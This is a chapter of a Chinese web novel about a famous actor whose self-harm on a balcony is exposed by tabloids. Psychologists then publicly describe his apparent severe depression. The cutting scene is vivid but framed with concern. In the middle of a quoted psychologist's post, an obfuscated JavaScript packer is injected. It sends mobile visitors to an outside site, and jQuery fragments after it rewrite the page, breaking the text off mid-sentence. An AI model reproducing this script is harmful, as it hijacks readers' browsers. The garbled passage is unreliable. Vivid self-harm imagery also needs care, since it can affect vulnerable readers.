冬日的寒意不仅侵袭着城市，似乎也沁入了林零生活的每一个角落。《孤胆特工》带来的荣誉与光环，并未能驱散他内心深处的阴霾，反而像是一面过于明亮的镜子，映照出他更加空洞和分裂的内在。
那些深夜买醉的画面，终究只是冰山一角。狗仔们像是嗅到了血腥味的鲨鱼，更加执着地追踪着这位顶流影帝的私生活。他们想要挖出更深、更劲爆的猛料，来解释他为何在事业巅峰期展现出如此反常的沉沦。
终于，一个爆炸性的新闻，以几张高糊却依旧能辨认出主体的照片和一段短视频的形式，被某家胆大的娱乐周刊不顾一切地捅了出来，瞬间引爆了整个互联网，其冲击力远超之前所有的分手传闻和醉酒报道。
照片拍摄的地点，似乎是某个高级公寓的阳台（正是零后来搬入的那一处）。画面中，林零穿着简单的黑色家居服，背对着镜头，坐在阳台的栏杆边缘。这本身已经足够危险，但更让人触目惊心的是他的动作——他低垂着头，左手握着一把看起来异常锋利、造型奇特的短刃（后来被粉丝认出是他收藏的一件电影道具），正一下下，缓慢而用力地，在自己的右手小臂上划动着！
由于角度和像素问题，看不清具体伤口，但他手臂上那蜿蜒刺目的鲜红色痕迹，以及他脚下地砖上滴落的零星血点，都无比清晰地指向一个事实——林零在自残！
随附的短视频虽然抖动且模糊，但更能感受到那种令人窒息的氛围。他没有发出任何声音，只是沉默地、近乎机械地重复着那个自我伤害的动作，背影在清冷的月光和远处城市的霓虹映衬下，显得无比孤寂和绝望。视频的最后，他似乎因为疼痛（或者是其他原因）微微蜷缩了一下身体，然后随手将那把短刃扔在了一边，发出清脆的金属撞击声。他抬起那只受伤的手臂，放到眼前，静静地看了很久，眼神里空无一物，仿佛在审视一件与自己无关的物品。
“顶流影帝林零疑似抑郁失控，深夜坐阳台边缘自残！”
“血溅当场！林零情绪崩溃，极端行为画面触目惊心！”
“昔日辉煌不再，林零精神状况堪忧，或面临退圈！”
这些耸动的标题配上那极具冲击力的画面，瞬间将林零推向了舆论的风口浪尖。这一次，不再是简单的“情伤买醉”，而是涉及心理健康的严重问题，甚至带有生命危险。
粉丝们彻底疯了，哭声、担忧声、控诉经纪公司和无良媒体的声音淹没了所有社交平台。
路人们震惊不已，难以想象那个在荧幕上光芒万丈、仿佛无所不能的男人，私下里竟会如此痛苦。
黑粉和营销号则开始狂欢，各种恶意揣测和落井下石的言论层出不穷。
然而，在一片混乱之中，一个意想不到的群体发声了——许多实名认证的心理医生、心理咨询师和精神科专家，开始在各种平台公开发声。
他们暂时搁置了对艺人私生活的讨论，而是基于那有限的视频和照片资料，从专业角度进行了严肃的分析。
一位拥有百万粉丝的知名心理医生在长文中写道：
“作为一名从业二十年的心理医生，我必须抛开艺人身份，就公开影像资料所呈现的状态，表达最深的担忧。林零先生所表现出的行为（包括但不限于长期情绪低落、社交退缩、兴趣减退、物质滥用（酒精），以及最新曝光的自伤行为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487674|185707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
），在临床诊断上，高度符合重度抑郁发作（Major Depressive Episode， MDE）的典型症状，且可能伴有明显的焦虑和激越特征。”
“自伤行为（Non-Suicidal Self-Injury， NSSI）在重度抑郁患者中并非罕见，它往往不是以结束生命为直接目的，而是一种应对难以承受的情感痛苦、释放巨大精神压力、试图从麻木感中重新获得‘存在感’的极端方式。患者通过物理上的疼痛，来暂时转移或掩盖心理上更剧烈的、无法言说的煎熬。”
“从视频中他事后的眼神状态看，存在明显的情感解离（Dissociation）迹象，即感觉与自己的身体或情感体验分离，这通常是心理创伤或巨大压力下的防御机制。结合他此前事业顺利、无重大公开负面事件的情况，强烈建议其身边亲友及团队立即介入，督促并协助他接受专业的、系统的精神心理评估和治疗。这不是矫情，不是炒作，而是关乎个体生命健康的严肃医学问题。”
这篇专业分析被迅速转发，很快，#心理医生分析林零状态#、#林零需专业心理干预#、#关注抑郁症#等话题也冲上了热搜。
越来越多专业人士出来佐证，从不同角度分析他近半年来的公开表现，都指向同一个结论——林零极有可能正遭受着重度抑郁症的折磨。
舆论的风向，从最初的猎奇、震惊，开始逐渐转向担忧、同情和呼吁帮助。无数网友，包括许多曾经的路人，开始在他的微博下留言，鼓励他去看医生，希望他好好活着。粉丝们更是发起了“零，请为自己而活”、“我们等你回来”的刷屏活动。